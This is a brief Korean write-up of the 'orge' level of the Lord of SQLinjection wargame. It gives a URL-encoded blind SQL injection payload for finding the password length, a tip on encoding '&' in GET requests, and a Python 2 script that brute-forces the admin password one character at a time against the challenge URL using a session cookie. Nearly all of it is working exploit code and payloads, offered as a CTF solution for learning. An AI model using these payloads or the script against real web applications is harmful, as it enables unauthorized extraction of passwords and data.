Lord of SQLinjection orge

pw 길이 : %27||ascii(id)-103%26%26length(pw)=8%23

tip : &는 get으로 보낼때 urlencoding을 하지 않으면 파라미터 연산자인줄 알고 &뒤에 온 값을 파라미터값으로 인식한다.

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

import urllib, urllib2   url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=" result = "" for i in range(1, 9):         for j in range(33,127):                 payload = "%27||ascii(id)-103%26%26if(ascii(substr(pw,{},1))={},1,1=2)%23".format(i, j)                 testurl = url + payload                 print testurl                 req = urllib2.Request(testurl)                 req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')                 req.add_header('Cookie','__cfduid=d4cc8c809fb82627de6749e5eaac73e1f1500957474; PHPSESSID=498v4fb9opfr78vauqu83eq635')                 res = urllib2.urlopen(req).read()                 if "Hello admin" in res:                         print "[*]Find!"                         result += chr(j)                         break print "[+]FIND FLAG! : {}".format(result)